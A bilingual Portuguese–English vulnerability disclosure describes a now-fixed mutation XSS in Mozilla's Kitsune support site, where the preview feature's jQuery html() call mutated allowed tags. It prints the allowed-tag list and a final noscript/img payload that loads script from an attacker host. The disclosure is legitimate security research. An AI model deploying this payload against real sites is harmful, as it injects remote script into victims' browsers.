‹ARES offensive division vulnerability research

Pesquisa de VulnerabilidadeVulnerability Research

mXSS no support.mozilla.orgmXSS in support.mozilla.org

A funcionalidade de preview do Kitsune deixava passar um subconjunto de tags HTML que, ao serem renderizadas pela função html() do jQuery, eram mutadas e executavam JavaScript arbitrário — sem precisar furar o bleach.Kitsune's preview feature let a small subset of HTML tags through that, once rendered by jQuery's html(), got mutated and executed arbitrary JavaScript — no bleach bypass required.


CVE ID
Severity
Medium
Affected
Kitsune (support.mozilla.org / SUMO)
Vendor
Mozilla
Disclosure
Corrigido · fora do escopo do bug bountyFixed · out of bug bounty scope
Researcher
Guilherme Assman (Keerok), @lbherrera

Mais um bug que apareceu durante a @duph0use, e que saiu de uma colaboração com o @lbherrera.Another bug that turned up during @duph0use, and came out of a collaboration with @lbherrera.

Ele foi encontrado no Kitsune, o software open-source que roda o SUMO (support.mozilla.org) e dá suporte ao Firefox e a outros produtos da Mozilla.It was found in Kitsune, the open-source software that runs SUMO (support.mozilla.org) and provides support for Firefox and other Mozilla software.

Ele funciona meio que igual a um wiki, com várias funcionalidades para os usuários criarem, lerem e editarem artigos.It works much like a wiki, with several features for users to create, read or edit articles.

ConteúdoContents

Achando a vulnerabilidadeFinding the vulnerability

Durante os testes, a funcionalidade de preview chamou a nossa atenção: ela deixava o usuário pré-visualizar as alterações feitas no artigo antes de enviar — e, mais interessante ainda, também permitia que um pequeno subconjunto de tags HTML fosse incluído e renderizado dentro da página.During testing, the preview feature caught our attention, as it let users preview their changes to an article before submitting it — and, more interestingly, it also allowed a small subset of HTML tags to be included that got rendered inside the page.

Preview feature rendering allowed HTML inside the SUMO article page
A funcionalidade de preview renderizando um subconjunto de tags HTML dentro da página.The preview feature rendering a subset of HTML tags inside the page.

No começo, como o objetivo era conseguir XSS, a gente achou que ia precisar de um bypass no bleach — uma biblioteca de sanitização de HTML baseada em allow-list, mantida pela Mozilla e bem comum nos serviços deles. Mas isso rapidinho se mostrou longe da verdade assim que começamos a investigar o código-fonte do Kitsune.At first, since the goal was to get XSS, we figured we'd need a bypass for bleach — an allowed-list-based HTML sanitizing library maintained by Mozilla and commonly used across Mozilla services. But that quickly proved far from the truth once we started digging into Kitsune's source code.

Excerpt from ajaxpreview.js showing the preview binding and jQuery html() call
Trecho de /kitsune/sumo/static/sumo/js/ajaxpreview.js.Excerpt from /kitsune/sumo/static/sumo/js/ajaxpreview.js.

No código acima, tem três pontos que valem destaque para entender como a aplicação funciona:From the code above, there are three points worth highlighting to understand how the application works:

  1. A linha 43, que dispara o bind get-preview quando o usuário clica no botão de preview.Line 43, which triggers the get-preview bind when the user clicks the preview button.
  2. A linha 59, que faz um POST para previewUrl (falo mais disso já já), mandando no corpo o conteúdo que você está tentando pré-visualizar, e depois dispara o bind show-preview com a resposta.Line 59, which makes a POST request to previewUrl (more on this later), sending the content you're trying to preview in the body, and then triggers the show-preview bind with its response.
  3. A linha 70, que renderiza a resposta dentro de um elemento usando a função html() do jQuery (isso geralmente é inseguro).Line 70, which renders the response inside an element through jQuery's html() function (this is generally unsafe).

Depois de uma busca rápida no código-fonte, achamos para onde o previewUrl apontava, e também o que estava sendo feito com a resposta.After a quick lookup in the source, we found where previewUrl was pointing to, as well as what was being done with the response.

Source code showing where previewUrl points to
Rastreando o destino do previewUrl no código-fonte do Kitsune.Tracing where previewUrl points to in Kitsune's source.
Source code handling the preview request and response
O tratamento da request e da resposta de preview no servidor.Server-side handling of the preview request and response.
More of Kitsune's preview handling source code
Mais do caminho de preview no código-fonte.More of the preview code path in the source.
Kitsune parser code path leading to the allowed tags list
O parser do Kitsune, levando até a lista de tags permitidas.Kitsune's parser, leading down to the allowed tags list.

Depois de descer toda essa toca do coelho, descobrimos que o parser do Kitsune usava uma lista de tags HTML permitidas que dava para abusar num ataque de mXSS (já que a lista de atributos permitidos não tinha nada interessante).After going down the rabbit hole, we found that Kitsune's parser was using a list of allowed HTML tags that could be used to pull off an mXSS attack (since the allowed attributes list didn't have anything interesting).

The list of allowed HTML tags in Kitsune's parser
A lista de tags HTML permitidas pelo parser do Kitsune.The list of HTML tags allowed by Kitsune's parser.
>>> from wikimarkup.parser import ALLOWED_TAGS
>>> ALLOWED_TAGS
['br', 'hr', 'img', 'source', 'b', 'del', 'i', 'ins', 'u', 'font', 'big', 'small', 'sub', 'sup', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'cite', 'code', 'em', 's', 'strike', 'strong', 'tt', 'var', 'div', 'center', 'blockquote', 'ol', 'ul', 'dl', 'table', 'caption', 'pre', 'p', 'span', 'u', 'li', 'dd', 'dt', 'video', 'section', 'noscript', 'table', 'tr', 'td', 'th', 'div', 'blockquote', 'ol', 'ul', 'dl', 'font', 'big', 'small', 'sub', 'sup', 'span', 'img', 'tbody', 'thead', 'tfoot', 'colgroup', 'col', 'section', 'a']

Construindo o payloadBuilding the payload

Depois disso, foi só uma questão de brincar com as tags e atributos até chegar num payload que passasse pelo parser do Kitsune, mas que, ao ser renderizado pela função html() do jQuery, fosse mutado e executasse JavaScript arbitrário.After that, it was just a matter of playing with the tags and attributes until we got a payload that the Kitsune parser allowed, but that — once rendered through jQuery's html() function — would get mutated and execute arbitrary JavaScript.

O payload final usado foi:The final payload used was:

<noscript><noscript alt="<img><script src="//attacker。com/alert.js"

PoC em vídeoPoC video

Prova de conceito:Proof of concept:

PoC video thumbnail — mXSS triggering on support.mozilla.org
Vídeo da PoC: https://www.youtube.com/watch?v=zocprjwX8GYPoC video: https://www.youtube.com/watch?v=zocprjwX8GY
NotaNote

Um adendo: essa vulnerabilidade ficou inelegível para o programa de bug bounty da Mozilla, já que o domínio não faz parte do escopo deles — mas mesmo assim foi um achado interessante.A side note: this vulnerability was ineligible for Mozilla's bug bounty program since the domain isn't part of their scope, but it was an interesting finding anyhow.

CorreçãoFix

Dá para ver todas as mudanças que a Mozilla fez para corrigir o problema aqui: github.com/mozilla/kitsune/commit/395ebf68.You can see all the changes Mozilla made to fix the issue here: github.com/mozilla/kitsune/commit/395ebf68.

ReferênciasReferences

  1. Kitsune — software open-source do SUMO.Kitsune — the open-source software behind SUMO. https://github.com/mozilla/kitsune
  2. bleach — sanitizador de HTML da Mozilla.bleach — Mozilla's HTML sanitizer. https://github.com/mozilla/bleach
  3. ajaxpreview.js — o trecho que chama html() do jQuery.ajaxpreview.js — the snippet calling jQuery's html(). https://github.com/mozilla/kitsune/blob/20c0c434b8a9fc39a19d319890054c5b914cc34a/kitsune/sumo/static/sumo/js/ajaxpreview.js#L40
  4. Commit de correção do Kitsune.Kitsune fix commit. https://github.com/mozilla/kitsune/commit/395ebf68f762d893ba73e679fc7083e9e7e6e508